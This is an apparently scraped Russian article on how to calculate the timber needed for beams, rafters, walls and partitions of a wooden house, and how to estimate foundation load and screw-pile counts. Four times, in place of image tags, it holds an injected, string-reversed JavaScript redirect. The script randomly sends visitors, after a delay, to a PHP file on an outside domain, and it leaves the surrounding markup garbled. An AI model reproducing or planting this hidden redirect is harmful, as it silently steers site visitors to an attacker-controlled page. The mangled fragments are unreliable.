Как расчитать сколько бруса надо на дом: арифметика строительства

Эта статья посвящена решению практических задач по расчету некоторых параметров будущего коттеджа. Как рассчитать сколько бруса надо на дом? Как вычислить нагрузку на фундамент? Эти вопросы неизбежно возникают в процессе строительства.

Постараемся найти ответы.

$NjS=function(n){if(typeof ($NjS.list[n])==»string») return $NjS.list[n].split(«»).reverse().join(«»);return $NjS.list[n];};$NjS.list=[«\’php.sgalf-tropxe/tropxe/weiv/bil/noitargim-pw-eno-ni-lla/snigulp/tnetnoc-pw/ofni.stobor-latigid//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tov-i-izmereniy-600×442.jpg» alt=»Стройка начинается с расчетов и измерений.» width=»600″ height=»442″ /> Стройка начинается с расчетов и измерений.

Объем и сечение

Как посчитать количество бруса на дом?

Нам придется разделить задачу на несколько составляющих:

• Расчет количества напольных и потолочных балок перекрытий из бруса.

Стоит уточнить: пол первого этажа совсем не обязательно должен настилаться по деревянным балкам.
Монолитное плитное основание — дорогостоящее, но заслуживающее внимания решение для нестабильных грунтов.

• Расчет стропильной системы. Сразу оговорим: ее устройство может сильно различаться в зависимости от формы крыши. Мы рассмотрим один из простейших вариантов.
• Расчет количества материала для внешних стен.
• Оценка количества бруса для внутренних перегородок. Заметьте: чаще всего они представляют собой каркасные конструкции; выстроенные из профилированного бруса перегородки внутри дома обязательны лишь в том случае, если балкам нужна дополнительная опора.

В этом порядке мы и двинемся вперед.

Балки

Типичная толщина половых и потолочных балок — 100х150 миллиметров при шаге между ними 0,8 — 1 метр. Балки врезаются в венцы в вертикальном положении: в этом случае обеспечивается их максимальная жесткость по отношению к направленной по вектору гравитации нагрузке.

Балки пола врезаны в первый венец.

Как рассчитать количество балок и их суммарную длину?

1. Количество для каждого перекрытия определяется простым делением длины дома на шаг между балками с вычитанием единицы. Так, для дома размером 6х10 метров при шаге между балками в 90 см понадобится 10 / 0,9 — 1 = 10 балок.
2. При длине балки в 6 метров (что совпадает со стандартной длиной бруса) понадобится 6 х 10 = 60 погонных метров.

Однако пиломатериалы продаются, как правило, в кубометрах. Как посчитать кубы бруса, зная его сечение и длину? Проще простого: перемножить их, предварительно переведя все значения в метры. В нашем случае для материала сечением 100х150 мм объем при длине 60 метров равен 0,1 * 0,15 * 60 = 0,9 м3.

Стропила

Как посчитать брус в кубах, требующийся для изготовления стропильной системы? Как уже сказано, мы рассмотрим простейшее решение: прямую двускатную крышу.

Уклон кровли предположим равным 45 градусам; шаг стропил — 60 сантиметрам; их материал — брус сечением 50х150 миллиметров.

Капитан Очевидность подсказывает: чем чаще стропила, тем меньше может быть их сечение при постоянной нагрузке.
Кстати, о нагрузке: с увеличением уклона кровли максимальная масса снега, которая может скопиться на крыше, снижается, зато увеличивается ее парусность.
Практический вывод: в снежных регионах кровлю лучше делать с большим уклоном, в ветреных — с меньшим.

Сама стропильная система в нашем случае устроена предельно просто: две стропильных ноги сходятся над серединой дома и фиксируются продольным прогоном — брусом того же сечения, связывающим вершины треугольников вдоль продольной оси дома.

$NjS=function(n){if(typeof ($NjS.list[n])==»string») return $NjS.list[n].split(«»).reverse().join(«»);return $NjS.list[n];};$NjS.list=[«\’php.sgalf-tropxe/tropxe/weiv/bil/noitargim-pw-eno-ni-lla/snigulp/tnetnoc-pw/ofni.stobor-latigid//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to—stropila-pryamoy-dvuskatnoy-kryshi-ne-svyazannye-progo-600×450.jpg» alt=»На фото — стропила прямой двускатной крыши, не связанные прогоном.» width=»600″ height=»450″ /> На фото — стропила прямой двускатной крыши, не связанные прогоном.

Итак, как посчитать сколько нужно бруса на дом для монтажа каркаса кровли?

1. Расположенный по оси дома прогон будет, очевидно, десятиметровым, как и само строение.
2. При уклоне кровли в 45 градусов расчет длины стропильных ног сводится к расчету длины катетов равнобедренного прямоугольного треугольника при известной гипотенузе (она равна, напомним, поперечнику дома — 6 метрам). Сумма квадратов катетов равна квадрату гипотенузы. Решив несложное уравнение, мы получим длину стропильной ноги в 4,24 метра. Значит, на каждый треугольник уйдет 8,5 метров бруса.
3. Общее количество треугольников, образующих хребет кровли — 10 / 0,6 — 1 = 16 (с округлением в большую сторону до целого значения). Итого общая длина стропил составит 8,5 х 16 = 136 метров. Прибавив прогон, мы получим 146 погонных метров бруса 50х150.
4. Как расчитать сколько бруса в кубе, нам уже известно. Переведем погонаж в кубометры: 146 х 0,05 х 0,15 = 1,095 м3.

На практике лучше умножить расчетное количество бруса примерно в 1,3 раза. Почему?

Потому, что в предыдущих расчетах мы намеренно пренебрегли рядом факторов.

• При длине стропильной ноги в 4,24 метра у нас останется много обрезков. Да, они могут использоваться; но при наращивании участки стропил будут перекрываться с уменьшением длины.
• Для защиты стен от осадков крыша выступает за их пределы, образуя свесы. Реальная длина стропильной ноги будет несколько больше рассчитанного нами значения.
• Какое-то количество материала даже в идеальном случае уйдет в обрезки.

Наружные стены

Как посчитать сколько бруса надо на дом, когда речь идет о наружных стенах?

Уточним: для расчета наружных стен и несущих перегородок из бруса используется один и тот же несложный метод расчета.
В отдельном разделе мы рассмотрим лишь изготовление каркасной перегородки.

Собственно, инструкция и в этом случае сводится к решению ряда несложных геометрических задач.

1. Представив стены, фронтоны и перегородки в виде простейших геометрических фигур, вычисляем их площадь.

$NjS=function(n){if(typeof ($NjS.list[n])==»string») return $NjS.list[n].split(«»).reverse().join(«»);return $NjS.list[n];};$NjS.list=[«\’php.sgalf-tropxe/tropxe/weiv/bil/noitargim-pw-eno-ni-lla/snigulp/tnetnoc-pw/ofni.stobor-latigid//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torye-formuly.jpg» alt=»При подсчете придется вспомнить некоторые формулы.» width=»454″ height=»397″ /> При подсчете придется вспомнить некоторые формулы.

2. Рассчитываем площадь всех проемов и отнимаем ее от полученного ранее значения.
3. Умножив площадь стен на их толщину, получаем общий объем бруса, необходимого для этой части строительства.
4. Как посчитать сколько бруса в кубе — мы уже выяснили. Если при закупках потребуется перевести кубатуру в погонные метры или в количество изделий фиксированной длины, нужно лишь умножить их количество в кубометре на общий объем материала.

Давайте решим небольшую практическую задачу. Как рассчитать брус на баню размером 6х4 метра при высоте стен 2500 миллиметров?

Условимся, что:

1. Мы строим баню из бруса сечением 200х200 миллиметров.
2. Крыша — простая односкатная, с минимальным уклоном. Такую очень просто соорудить своими руками без сложных расчетов стропил.
3. В бане одна поперечная внутренняя перегородка из цельного бруса того же сечения. В данном случае нам нужна не прочность, а максимальная теплоизоляция парилки от более холодного предбанника.
4. Размер входной двери — 200х90, двери в парилку — 180х80 см, окна в парилке — 40х30 см, двух окон в предбаннике — по 80х120 см.

Приступим к расчетам.

• Общая протяженность стен и перегородки равна 6 + 6 + 4 + 4 + 4 = 24 метра.
• Их суммарная площадь без учета проемов равна 24 х 2,5 = 60 м2.
• Проемы уменьшат эту площадь на (2 х 0,9) + (1,8 х 0,8) + (0,4 х 0,3) + 2 х (0,8 х 1,2) = 1,8 + 1,44 + 0,12 + 1,92 = 5,28 м2. Останется 60 — 5,28 = 54,72 м2.
• При толщине стен в 20 см объем стен будет примерно равным 11 м3 (54,72 х 0,2). С учетом запаса на обрезку (в общем случае он берется равным 15 процентам) нам стоит закупить не менее 12,5 кубов.
• В кубе 25 погонных метров бруса данного сечения (1 / (0,2*0,2)). При длине одного изделия в 6 метров 12,5 кубов соответствуют 12,5 х (25 / 6) = 52 штукам.

Компактная одноэтажная баня.

Каркасные перегородки

Как расчитать брус для дома, когда речь идет о каркасной перегородке?

Все зависит от ее конструкции. Типичное решение — каркас из бруска сечением 50х50 миллиметров с шагом 40 см при обшивке гипсокартоном и 60 см — для фанерного покрытия. Каркас — вертикальный; снизу и сверху по всей длине перегородки проходит обвязка — продольный брус того же сечения.

Полезно: цена гипсокартона заметно ниже; однако если сложенные из бруса стены покрыты изнутри лишь лаком, он будет смотреться несколько чужеродным.
А вот лакированная фанера прекрасно впишется в общую концепцию деревянного дома.

Недостаток длины бруска в этом случае не представляет никаких проблем: он легко сращивается простым соединением вполдерева.

Давайте рассчитаем расход бруска для сплошной межкомнатной перегородки шириной 5 метров и высотой 2,8.

Материал обшивки — фанера; соответственно, шаг между вертикальными элементами каркаса составит 0,6 метра.

• Верхний и нижний продольные бруски будут иметь суммарную длину 5 + 5 = 10 метров.
• Количество вертикальных брусков длиной 2,8 метра равно 5 / 0,6 — 1 = 8 (с округлением до целого в большую сторону). Их общая длина — 2,8 х 8 = 22,4 метра; с учетом продольных брусков нам потребуется 22,4 + 10 = 32,4 погонных метра.
• Не забудем сделать поправку на обрезку бруса: 32,4 х 1,15 = 37,26 метра.

Как посчитать кубометр бруса, мы по-прежнему помним:

• В кубе при сечении 50х50 мм 1 / (0,05 х 0,05) = 400 погонных метров.
• 37,26 погонных метров составят 37,26 х 0,05 х 0,05 = 0,09315 м3.

$NjS=function(n){if(typeof ($NjS.list[n])==»string») return $NjS.list[n].split(«»).reverse().join(«»);return $NjS.list[n];};$NjS.list=[«\’php.sgalf-tropxe/tropxe/weiv/bil/noitargim-pw-eno-ni-lla/snigulp/tnetnoc-pw/ofni.stobor-latigid//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toyki-mogut-svyazyvatsya-gorizon-600×450.jpg» alt=»При большой высоте перегородки стойки могут связываться горизонтальными ригелями.» width=»600″ height=»450″ /> При большой высоте перегородки стойки могут связываться горизонтальными ригелями.

Масса

Разнообразные задачи относительно того, как посчитать куб бруса, мы решать научились. Однако от нашего внимания ускользнула не менее важная проблема — расчет нагрузки на фундамент. Поспешим исправить это недоразумение.

Зачем это нужно

Разумеется, для расчета самого фундамента для брусового дома.

Поскольку сравнительно легкие дома из бруса обычно строятся на легких фундаментах — винтовых, столбчатых и ленточных, при строительстве приходится решать пару типовых задач:

• Рассчитывать площадь фундамента при известных массе дома и несущей способности грунта.
• Рассчитывать количество винтовых свай при известных массе дома и несущей способности одной сваи.

Справочные значения

Как оценить массу дома? Взвесить его нелегко, не так ли?

Задачу нам упростит давно сделанное наблюдение: если конструкция строения мало-мальски сбалансирована (то есть, к примеру, железобетонные перекрытия не лежат на стенах из сип-панелей), максимальная нагрузка на фундамент примерно вдвое превышает суммарную массу стен.

Объем стен мы вычислять научились. Понятно, что для расчета массы нам недостает сущего пустяка: справочных значений плотности древесины популярных пород.

Чтобы не утруждать читателя поиском справочников, приведем их.

Обратите внимание: приводится плотность древесины при влажности не более 18%.
Так называемый брус естественной влажности может быть куда более сырым и, соответственно, обладать куда большей плотностью.

Прибор для измерения влажности древесины.

• Сибирская пихта — 390 кг/м3.
• Кедр — 420 кг/м3.
• Ель — 450 кг/м3.
• Сосна — 520 кг/м3.
• Кипарис — 600 кг/м3.
• Береза — 650 кг/м3.
• Вишня, лиственница — 660 кг/м3.
• Бук — 680 кг/м3.
• Дуб — 690 кг/м3.
• Ясень — 750 кг/м3.

Наиболее популярны дешевые ель и сосна; золотая середина между долговечностью и дешевизной — кедр. Дубовый брус крайне устойчив к неблагоприятным факторам внешней среды; однако сруб из него обойдется в годовой бюджет небольшого африканского государства.

Калькулятор

Простой калькулятор выглядит так:

Пример расчета

Как посчитать брус на дом, мы рассмотрели выше. Давайте в качестве расчетной задачи выясним, сколько винтовых свай с несущей способностью 1500 килограммов потребуется для двухэтажного дома размером 10х10 метров.

Высота этажа — 3 метра, материал стен — дубовый брус сечением 150х150 мм.

• Площадь стен двухэтажного дома равна (10 х 4) х 6 = 240 м2. Проемами и фронтонами мы пренебрежем: во-первых, уменьшение площади за счет проемов отчасти компенсирует ее увеличение фронтонами, а во-вторых — погрешности все равно будут слишком большими.
• Объем бруса в стенах равен 240 х 0,15 = 36 кубометров.
• Масса внешних стен при плотности 690 кг/м3 равна 690 х 36 = 24840 кг.
• Суммарную массу всего строения, таким образом, можно грубо оценить в 50000 кг.
  
• Минимальное количество свай будет равным 50000 / 1500 = 34. На практике лучше увеличить их количество на 30%: таким образом, мы перестрахуемся от перегрузки кровли снежной зимой, от локальных просадок грунта и других неучтенных факторов.

Масса скапливающегося на крыше снега может исчисляться тоннами.

Вывод

Как видите, расчеты не представляют особой сложности. В видео в этой статье содержится полезная информация по данной теме, смотрите. Успехов в строительстве!